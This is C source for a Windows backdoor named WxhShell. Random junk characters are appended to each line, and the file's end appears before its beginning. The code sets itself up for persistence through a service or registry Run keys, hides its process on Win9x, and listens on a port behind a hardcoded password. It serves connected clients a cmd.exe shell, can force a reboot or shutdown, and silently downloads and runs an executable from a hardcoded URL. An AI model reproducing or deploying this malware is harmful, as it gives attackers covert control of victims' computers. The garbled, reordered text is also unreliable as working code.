    if(Boot(SHUTDOWN)) :QL p`s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pvUoed\  
    else { :Sn3|`HDm  
    closesocket(wsh); >@Vr'kg+V  
    ExitThread(0); [=F |^KL  
    } Jo$Dxa z  
    break; ;/q6^Nk3A  
    } vl~   
  // 获取shell `srZ#F5  
  case 's': { *>$)#?t  
    CmdShell(wsh); &p4<@k\L  
    closesocket(wsh); AX RNV  
    ExitThread(0); }/r%~cZ  
    break; _:p_#3s$  
  } }Y ];ccT  
  // 退出 tRBK1h  
  case 'x': { =?Md&%j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^|;4/=bbs  
    CloseIt(wsh); '0$[Ujc  
    break; }F`2$ Q+CW  
    } W*`6ero  
  // 离开 pDq_nx9  
  case 'q': { &E`Z_} ~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "$pg mf2  
    closesocket(wsh); U?j>28  
    WSACleanup(); PSR `8z n  
    exit(1); Y(Ezw !a  
    break; (b}7Yb]#c  
        } H^:|`T|,  
  } T5_Cu9>ax  
  } RAbq_^Q  
%<|KJb4?  
  // 提示信息 m e{SVG{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a`iAA1HJ  
} W(4?#lA2W  
  } " z'!il#  
BQ0\+  
  return; R >&/n/l  
} M F: Eu  
J4#]8!A  
// shell模块句柄 xumv I{  
int CmdShell(SOCKET sock)  " 1Aus  
{ 8mLU ~P |  
STARTUPINFO si; 4PM`hc  
ZeroMemory(&si,sizeof(si)); `3oP^#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :?k=Yr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JHH&@Cn  
PROCESS_INFORMATION ProcessInfo; ]sAD5<;  
char cmdline[]="cmd"; E}&jtMRUt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }_;!E@  
  return 0;  yE,o~O  
} r/L]uSN  
@0'|Uygn  
// 自身启动模式 !PIdw~YC  
int StartFromService(void) >{Z=cv/6o  
{ ZhaOH5{9  
typedef struct hO@3-SRa,k  
{ yv4PK*  
  DWORD ExitStatus; KZfRiCZ  
  DWORD PebBaseAddress; 0*x?  
  DWORD AffinityMask; 7b2<, .E  
  DWORD BasePriority; 3[Iw%% q  
  ULONG UniqueProcessId;  )6+W6:  
  ULONG InheritedFromUniqueProcessId; AI;=k  
}   PROCESS_BASIC_INFORMATION; F &}V65  
~U+'3.Wo  
PROCNTQSIP NtQueryInformationProcess; 0|;=mYa4M  
8:fiO|~%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K.m[S[cy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  U~t(YT  
cpnwx1q@  
  HANDLE             hProcess; ,m]q+7E  
  PROCESS_BASIC_INFORMATION pbi; 6|}mTG^  
#?6RoFgMe  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]!:Y]VYN)\  
  if(NULL == hInst ) return 0; rtE,SN  
h cXqg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B{ "<\g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .p>8oOp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Ql}jSKi  
zUqDX{I8  
  if (!NtQueryInformationProcess) return 0; rSn7(3e4^  
q8>Q,F`BA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &_j4q  
  if(!hProcess) return 0; 3k^jR1  
m5{SPa,y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !F)oX7"  
;D:T ^4  
  CloseHandle(hProcess); EdpR| z  
1PSb72h<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >.\E'e5^C  
if(hProcess==NULL) return 0; PM7/fv*,  
9To6Rc;  
HMODULE hMod; "QS7?=>*F  
char procName[255]; ||aU>Wj4  
unsigned long cbNeeded; `0:@`)&g1  
9lV'3UG-?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4PQWdPv;  
7!%"8Rl-  
  CloseHandle(hProcess); f lB2gr^  
.SN]hLV5  
if(strstr(procName,"services")) return 1; // 以服务启动 !&[4T#c  
X2v'9 x  
  return 0; // 注册表启动 z?,5v`,t2  
} <b I,y_<K  
? Q}{&J  
// 主模块 VIzZmd  
int StartWxhshell(LPSTR lpCmdLine) q?&&:.H"?5  
{ &=bI3-  
  SOCKET wsl; 2-84  
BOOL val=TRUE; mX^RSg9E}  
  int port=0; zn|}YovY+  
  struct sockaddr_in door; 5Y^ YKV{  
$ 1U%E  
  if(wscfg.ws_autoins) Install(); @4$E.q<0  
+$5^+C\6A  
port=atoi(lpCmdLine); ^ZG1  
NY x4& *le  
if(port<=0) port=wscfg.ws_port; t/|^Nt@XT  
Di*>PE@  
  WSADATA data; >kYyR.p.b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Je,8{J|e  
;rgsPVbVf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *en{pR'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9lv 2  
  door.sin_family = AF_INET; jQ*Qh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o@. !Z8  
  door.sin_port = htons(port); s8Oz^5p(  
#SueT"F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fp0Va!T(V  
closesocket(wsl); 1~ Nz6  
return 1; ~\P.gSiz  
} ^iNR(cwgX  
uk,f}Xc  
  if(listen(wsl,2) == INVALID_SOCKET) { =xoTH3/,>  
closesocket(wsl); odDt.gQXU  
return 1; n :P}K?lg  
} D$HxPfDZ  
  Wxhshell(wsl); YSbN=Rj  
  WSACleanup(); yFG&Ir  
? t-2oLE  
return 0; bX,Z<BvbF  
EX_& wep@1  
} M3%< kk-_  
'mF}+v^   
// 以NT服务方式启动 =#fqFL,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kel48B  
{ #'qW?8d}  
DWORD   status = 0; R<-KXT9  
  DWORD   specificError = 0xfffffff; dImm},  
#7{a~-S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b11C3TyQT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *RPI$0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zw?6E8$h  
  serviceStatus.dwWin32ExitCode     = 0; C$8=HM3  
  serviceStatus.dwServiceSpecificExitCode = 0; e 6*=Si}V  
  serviceStatus.dwCheckPoint       = 0; *3|KbCX  
  serviceStatus.dwWaitHint       = 0; NQmDm!-4  
* 7CI q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _),@^^&x  
  if (hServiceStatusHandle==0) return; A Ho<E"R\  
<$E8T>U  
status = GetLastError(); vJ!t.Vou  
  if (status!=NO_ERROR) R-ci?7dt3  
{ /-T%yuU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lI9 3{!+>  
    serviceStatus.dwCheckPoint       = 0; y03l_E,  
    serviceStatus.dwWaitHint       = 0; HM/ q B^  
    serviceStatus.dwWin32ExitCode     = status; ;\h'A(  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8g\.1<~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>s.V`N'  
    return; Ab`Gb  
  } #ed]zI9O  
6*$N@>8&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _wIAr  
  serviceStatus.dwCheckPoint       = 0; fw<'ygd  
  serviceStatus.dwWaitHint       = 0; Lxl?6wZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (U)=t$=o  
} XIU2l}g  
lG2){){j  
// 处理NT服务事件,比如:启动、停止 gb-n~m[y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n}2}4^  
{ Rzp-Q5@M Y  
switch(fdwControl) C4y<+G.`  
{ pxgv(:Tw  
case SERVICE_CONTROL_STOP: ;k>{I8L~  
  serviceStatus.dwWin32ExitCode = 0; F XbNmBXF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AWw:N6\  
  serviceStatus.dwCheckPoint   = 0; &f[[@EF7  
  serviceStatus.dwWaitHint     = 0; ipsNiFv:  
  { so;aN'{6@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bz1\EkLL  
  } bkb}M)C  
  return; {+!_; zzZ  
case SERVICE_CONTROL_PAUSE: 2l9_$evK~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^pn:SV  
  break; s:%>H|-  
case SERVICE_CONTROL_CONTINUE: NFQ0/iuW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l 1@:&j3h  
  break; "YivjHa7H  
case SERVICE_CONTROL_INTERROGATE: xaPTTa  
  break; 1*XqwBV  
}; H]cCyuCdH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ak%8|'}  
} i+OyBDkJM!  
Q?~l=}2  
// 标准应用程序主函数 ~! @a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W*P/~U=  
{ 'SC`->F4D  
#]9yzyb_y  
// 获取操作系统版本 .NjOaK)\  
OsIsNt=GetOsVer();  ST{<G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \eN}V  
IlH*s/  
  // 从命令行安装 .69{GM?  
  if(strpbrk(lpCmdLine,"iI")) Install(); by- B).7  
b(wiJ&t  
  // 下载执行文件 'i}Q R~pe  
if(wscfg.ws_downexe) { [xHK^JP 8F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .^/OL}/~<  
  WinExec(wscfg.ws_filenam,SW_HIDE); ss*dM.b  
} =T[kGg8`  
&TKB8vx=#  
if(!OsIsNt) { %#= 1?1s  
// 如果时win9x,隐藏进程并且设置为注册表启动 86[T BX5'  
HideProc(); g1Aq;Ah/  
StartWxhshell(lpCmdLine); `Do-!G+W  
} <MoWS9s!yb  
else 7uYJ _R  
  if(StartFromService()) 3iDRt&y=.  
  // 以服务方式启动 WO|#`HM2  
  StartServiceCtrlDispatcher(DispatchTable); a4c~ThbI  
else l/SbJrM*  
  // 普通方式启动 ondF  
  StartWxhshell(lpCmdLine); nP] ~8ViS  
'En6h"{  
return 0; t'^/}=c-  
}  1D6iJ  
Z O&5C6qa  
=YR/|9(  
9\V^q9l  
=========================================== }yUZ(k#  
b*7OIN5h  
=^NR(:SaaU  
M5wj79'l"  
`C,479~J  
SwLul4V  
" h&&ufF]D  
$Die~rPU  
#include <stdio.h> O.}{s;  
#include <string.h> d&F8nBIM5  
#include <windows.h> ~i(X{ ^,3  
#include <winsock2.h> ~qs 97'  
#include <winsvc.h> 4\>Cnc{  
#include <urlmon.h> O",:0<  
M*|x,K=U  
#pragma comment (lib, "Ws2_32.lib") WJ8i,7  
#pragma comment (lib, "urlmon.lib") VGkwrS;+I  
t=5 K#SX}  
#define MAX_USER   100 // 最大客户端连接数 7&E3d P  
#define BUF_SOCK   200 // sock buffer %6L{Z*(  
#define KEY_BUFF   255 // 输入 buffer YHl6M&*@  
OQA}+XO  
#define REBOOT     0   // 重启 Fe}Dnv)}Z  
#define SHUTDOWN   1   // 关机 !M6*A1g5  
S-GcH  
#define DEF_PORT   5000 // 监听端口 "d9"Md0k  
LJ9^:U  
#define REG_LEN     16   // 注册表键长度 XB zcbS+  
#define SVC_LEN     80   // NT服务名长度 .cjSgK1  
z.--"cF  
// 从dll定义API Z%k)'%_   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )bXiw3'A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fQM:NI? 9?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a?_N8|k[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "1t%J7c_  
7?xTJN)G  
// wxhshell配置信息 rUR{MF&]D  
struct WSCFG { O$+0 .  
  int ws_port;         // 监听端口 O)n"a\LD  
  char ws_passstr[REG_LEN]; // 口令 eNR>W>;'  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z  G3u  
  char ws_regname[REG_LEN]; // 注册表键名 ihdN{Mx<2  
  char ws_svcname[REG_LEN]; // 服务名 Y:XE4v/)@L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /0IvvD!7N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nD6NLV%2x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wknX\,`Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9 "7(Jq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" akoK4!z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1:(qoA:  
k?ZtRhPu3X  
}; =Q>'?w>  
9ePG-=5I  
// default Wxhshell configuration hOG9  
struct WSCFG wscfg={DEF_PORT, [@(M%  
    "xuhuanlingzhe", Bvb.N$G  
    1, E<y0;l?H<  
    "Wxhshell", u_shC"X:  
    "Wxhshell", B&3oo   
            "WxhShell Service", Iy% fg',%  
    "Wrsky Windows CmdShell Service", L )p*D(  
    "Please Input Your Password: ", MOi.bHCQJP  
  1, .SzP ig  
  "http://www.wrsky.com/wxhshell.exe", ',$Uw|N  
  "Wxhshell.exe" -PPH]?],  
    }; t"4RGO)jh  
yhxen  
// 消息定义模块 %5Q5xw]w3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p=sL KnLmZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }coSMTMv6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ra2sYH1wr  
char *msg_ws_ext="\n\rExit."; <pyLWmO  
char *msg_ws_end="\n\rQuit."; ~$cz`A  
char *msg_ws_boot="\n\rReboot..."; B >2"O  
char *msg_ws_poff="\n\rShutdown..."; ]zK'aod  
char *msg_ws_down="\n\rSave to "; 2[-@ .gH  
: .Y  
char *msg_ws_err="\n\rErr!"; [;~:',vHQf  
char *msg_ws_ok="\n\rOK!"; 4LO4SYW7  
YW9r'{(D(I  
char ExeFile[MAX_PATH]; B8_)I.  
int nUser = 0; iYJ:P  
HANDLE handles[MAX_USER]; <?yf<G'$  
int OsIsNt; dp;;20z  
IsP-[0it  
SERVICE_STATUS       serviceStatus; J8IdQ:4^l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P5-1z&9O  
=A[:]),v  
// 函数声明 ts|dk%  
int Install(void); A8tzIh8  
int Uninstall(void); z B/#[~  
int DownloadFile(char *sURL, SOCKET wsh); 3h N?l :/b  
int Boot(int flag); Zcst$Aro  
void HideProc(void);  =ie8{j2:  
int GetOsVer(void); Lxz!>JO>  
int Wxhshell(SOCKET wsl); c$fi3O  
void TalkWithClient(void *cs); cC@.&  
int CmdShell(SOCKET sock); D#"BY; J  
int StartFromService(void); YNHQbsZUI,  
int StartWxhshell(LPSTR lpCmdLine); dZ^(e0& :H  
7uy?%5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f+3ico]f@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~hiJOaCzM  
"wwAbU<  
// 数据结构和表定义 q+<<Ku(20  
SERVICE_TABLE_ENTRY DispatchTable[] = n/]w!  
{ $FR1^|P/G  
{wscfg.ws_svcname, NTServiceMain}, JzuU k  
{NULL, NULL} o9GtS$ O\  
}; bzj9U>eY  
cl2+,!:  
// 自我安装 TgC8EcLr  
int Install(void) 'DLgOUvh  
{  j`H5S  
  char svExeFile[MAX_PATH]; e *9c33  
  HKEY key; *49({TD6`  
  strcpy(svExeFile,ExeFile); {9mXJu$cc  
MC\rx=cR\  
// 如果是win9x系统,修改注册表设为自启动 lSW6\jX  
if(!OsIsNt) { F"I{_yleq'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -O&u;kh4g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V%|CCrR  
  RegCloseKey(key); <d*;d3gm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &ZyZmB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M8Tj;ATr  
  RegCloseKey(key); v$n J$M&k  
  return 0; pk>p|q  
    } EuH[G_5e0  
  } u V[:e|v  
} vH[G#A~4  
else { s}1S6*Cr  
ko7*9`  
// 如果是NT以上系统,安装为系统服务 [l`_2{:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #k}x} rn<'  
if (schSCManager!=0) 6I8A[   
{ ,q_'l?Pn  
  SC_HANDLE schService = CreateService _U Q|I|V#  
  ( 1UHlA8w7 Q  
  schSCManager, A5WchS'  
  wscfg.ws_svcname, -9D2aY_>  
  wscfg.ws_svcdisp, H]I^?+)9  
  SERVICE_ALL_ACCESS, n7EG%q6m+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HLL:nczj  
  SERVICE_AUTO_START, 0 oC5W?>8s  
  SERVICE_ERROR_NORMAL, KCDbE6  
  svExeFile, LA +BH_t&  
  NULL, ' \8|`Zb  
  NULL, n8K FP  
  NULL, S`w_q=-^8  
  NULL, h=a-~= 8  
  NULL 9>QGsf.3  
  ); mQ$a^28=qR  
  if (schService!=0) l^~E+F~  
  { \jR('5DcB  
  CloseServiceHandle(schService); }Cs. Hm0P  
  CloseServiceHandle(schSCManager); r}>q*yx:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tr\6 AN?o  
  strcat(svExeFile,wscfg.ws_svcname); BdMmeM2h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V eD<1<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B)L=)N  
  RegCloseKey(key); &gv{LJd5b  
  return 0; %)t9b@c!}  
    } J 7/)XS  
  } Q$`u=-h|  
  CloseServiceHandle(schSCManager); isF jJPe  
} g %ZKn  
} 2SABu796j  
s:p6oEQ=J  
return 1; kO)+%'L!8  
} M9PzA'}4W6  
Id(wY$C&>  
// 自我卸载 HNMVs]/e  
int Uninstall(void) S7(Vc H  
{ {J[5 {]Je[  
  HKEY key; bdxmJ9a:R  
7,v}Ap]Pa  
if(!OsIsNt) { e5z U`R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B* hW  
  RegDeleteValue(key,wscfg.ws_regname); q@@C|oqEX  
  RegCloseKey(key); P}2waJe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [(81-j1v  
  RegDeleteValue(key,wscfg.ws_regname); gK%^}xU+  
  RegCloseKey(key); !et[Rdbu  
  return 0; Fcp8RBq  
  } QBD\2VR  
} +G.F'  
} RZL:k;}5  
else { mI4)+8SUu  
r5s$#,O/&Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _v\L'`bif  
if (schSCManager!=0) (\qO~)[0  
{ wOg?.6<Kxa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vR*TW   
  if (schService!=0) sM  _m  
  { CS\ E]f  
  if(DeleteService(schService)!=0) { #q-7#pp  
  CloseServiceHandle(schService); A}h`%b  
  CloseServiceHandle(schSCManager); _Pe,84Ro  
  return 0; }i\U,mH0_&  
  } ajJ+Jn\  
  CloseServiceHandle(schService); 5h!ZoB)n  
  } WF&?OHf2  
  CloseServiceHandle(schSCManager); wJ}9(>id*  
} ^{l^Z +b.  
} p]^?4  
B098/`r  
return 1; ;*AK eI2  
} [W*xPXr*  
i,R+C.6{  
// 从指定url下载文件 bAkCk]>5  
int DownloadFile(char *sURL, SOCKET wsh) ]A#K;AW{U  
{ +jv&V%IL  
  HRESULT hr; 2<X.kM?N{B  
char seps[]= "/"; ?z/ )Hkw  
char *token; %9HL "  
char *file; <q<kqy5s-R  
char myURL[MAX_PATH]; ,bU 8S\8  
char myFILE[MAX_PATH]; h+"UK=  
pIbm)-  
strcpy(myURL,sURL); &}."sGK  
  token=strtok(myURL,seps); EZw<)Q   
  while(token!=NULL) [(d))(M$|  
  { !J/fJW>m6  
    file=token; i^I U)\   
  token=strtok(NULL,seps); fEgwQ-]  
  } R{0nk   
4],*y`& g  
GetCurrentDirectory(MAX_PATH,myFILE); 6$*\%  
strcat(myFILE, "\\"); = VFPZ  
strcat(myFILE, file); ~ MZEAY9  
  send(wsh,myFILE,strlen(myFILE),0); gd=gc<zYP  
send(wsh,"...",3,0); a}#8n^2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D>>?8a  
  if(hr==S_OK) rd\:.  
return 0; iQ7S*s+l5O  
else 56JvF*hP  
return 1; G Ch]5\  
,+mH1#-3  
} by0@G"AE+  
kbcqUE  
// 系统电源模块 9irT}e  
int Boot(int flag) %j7HIxZh  
{ jVxX! V  
  HANDLE hToken; lq[o2\  
  TOKEN_PRIVILEGES tkp; UFOUkS F  
#@^mA{Dt5  
  if(OsIsNt) { m&&Y=2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6_vhBYLf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Rg,]d u u?  
    tkp.PrivilegeCount = 1; s ~ Xa=_+D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,!i!q[YkL9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ijuIf9!  
if(flag==REBOOT) { 1Bl;.8he.)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u}~jNV  
  return 0; k&M9Hn2  
} _=*ph0nu  
else { ]A%S&q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Io2",~ M  
  return 0; `COnb@uD  
} ]@G$ L,3  
  } a*GiLq  
  else { )h>H}wDs  
if(flag==REBOOT) { )i$:iI >k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D$&LCW#x  
  return 0; /jB 0  
} iFBH;O_~  
else { /'<Qk'   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S9@2-Oc  
  return 0; 6vL+qOdx  
}  !L|PDGD  
} <^v-y)%N:A  
Hp}dm93T  
return 1; NBaXfWh  
} 7sglqf>  
{S*:pG:+q  
// win9x进程隐藏模块 X`' @ G  
void HideProc(void) C(jUM!m  
{ 7!kbe2/]'  
t,4'\nv*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Of?3|I3 l  
  if ( hKernel != NULL ) }(-2a*Z;Y  
  { |(Q !$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W%,h{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |tua*zEsS  
    FreeLibrary(hKernel); 2z+-vT%  
  } JrA\ V=K  
\[MQJX,dn  
return; g$a 5  
} '|~L9t  
L2P#5B!S  
// 获取操作系统版本 *s[bq;$  
int GetOsVer(void) 3^x C=++  
{ 66jL2XU<  
  OSVERSIONINFO winfo; HgfeSH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "(cMCBVYdA  
  GetVersionEx(&winfo); E3`&W8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `k.Nphx~%  
  return 1; Vh o3I[C  
  else 3`3`iN!8\@  
  return 0; ckCb)r_  
} *\4u:1Cu  
2Ysl|xRo  
// 客户端句柄模块 ZBcT@hxm  
int Wxhshell(SOCKET wsl) @b2JR^  
{ VHlo}Ek<#  
  SOCKET wsh; `j1(GQt  
  struct sockaddr_in client; ?V >{3  
  DWORD myID; ;c;5O@R}3  
ouO<un  
  while(nUser<MAX_USER) x}(p\Efx  
{ 1 ^q~NYTK  
  int nSize=sizeof(client); trAIh}Dj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KH_~DZU*5  
  if(wsh==INVALID_SOCKET) return 1; ~Q36lR  
C;BC@OE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $EUlh^  
if(handles[nUser]==0) [L4s.l_#  
  closesocket(wsh); Y-vLEIX=  
else R[Y{pT,AY  
  nUser++; cq-UVk"Gl  
  } ujH ^ML  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G zw $M  
T#:n7$M|?A  
  return 0; 2S#|[wq(  
} $u-yw1FT  
F `cuV  
// 关闭 socket D1g .Fek5  
void CloseIt(SOCKET wsh) b,MzHx=im  
{ z&@O\>Q  
closesocket(wsh); "T0s7LWp  
nUser--; ~o?(O1QY  
ExitThread(0); SZ)AO8&  
} ,]* MI"  
~wl 4  
// 客户端请求句柄 NKJ+DD:'  
void TalkWithClient(void *cs) a ]~Yi.H  
{  p;k7\7  
0Xx&Z8E  
  SOCKET wsh=(SOCKET)cs; 1GA$nFBVC  
  char pwd[SVC_LEN]; F9\T <  
  char cmd[KEY_BUFF]; m.0: R  
char chr[1]; ,rZp(moj  
int i,j; "T+oXK\B  
o1B8_$aYgc  
  while (nUser < MAX_USER) { jXCSD@?]K  
{=)g?!zC  
if(wscfg.ws_passstr) { :,]*~Nl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t=B>t S.hO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } 63Qh}_Y  
  //ZeroMemory(pwd,KEY_BUFF); QW[ gDc  
      i=0; b!hs|emo;  
  while(i<SVC_LEN) { {6,  l#z  
Aq~}<qkIF+  
  // 设置超时 /6@~XO) w  
  fd_set FdRead; jXu)%<  
  struct timeval TimeOut; /CW 0N@  
  FD_ZERO(&FdRead); d} {d5-_a  
  FD_SET(wsh,&FdRead); {@tqeu%IM  
  TimeOut.tv_sec=8; @ UgZZ  
  TimeOut.tv_usec=0; )!tqock*v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G+dQ" cI9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |MEu"pY)  
g E#4 3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sh(Ws2b7  
  pwd=chr[0]; n +R3  
  if(chr[0]==0xd || chr[0]==0xa) { P g{/tM Y  
  pwd=0; A.@/~\  
  break; yR|Beno  
  } Mb0l*'ZF  
  i++; YrRD3P.P  
    } zUNWcv!& "  
l]wjH5mz=i  
  // 如果是非法用户,关闭 socket 2qQG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n9p_D  
} W7 iml|WV0  
g4"0:^/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  |)'6U3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =}h8Cl{H/  
Q3OGU}F  
while(1) { w,/&oe5M+  
4x;vn8 yh  
  ZeroMemory(cmd,KEY_BUFF); 9]E;en NQ  
vy&< O  
      // 自动支持客户端 telnet标准   H,I k&{@j  
  j=0; F[HMX4  
  while(j<KEY_BUFF) { yCt,-mz!z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8;vpa*  
  cmd[j]=chr[0]; o fw0_)!Q  
  if(chr[0]==0xa || chr[0]==0xd) { U0Q:sA U  
  cmd[j]=0; : U:>X6f  
  break; WhY8#B'?  
  } xP+HdA2X  
  j++; |1z?#@BH  
    } iJH;OV;P  
H)u<$y!8  
  // 下载文件 Frxim  
  if(strstr(cmd,"http://")) { A3jT;D9Y%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D;RZE  
  if(DownloadFile(cmd,wsh)) aOWfu^&H:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kl&9M!;:n  
  else <ic%c/mN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H[S 4o,  
  } xdqiogue  
  else { D%k`udz<  
&N^^[ uG  
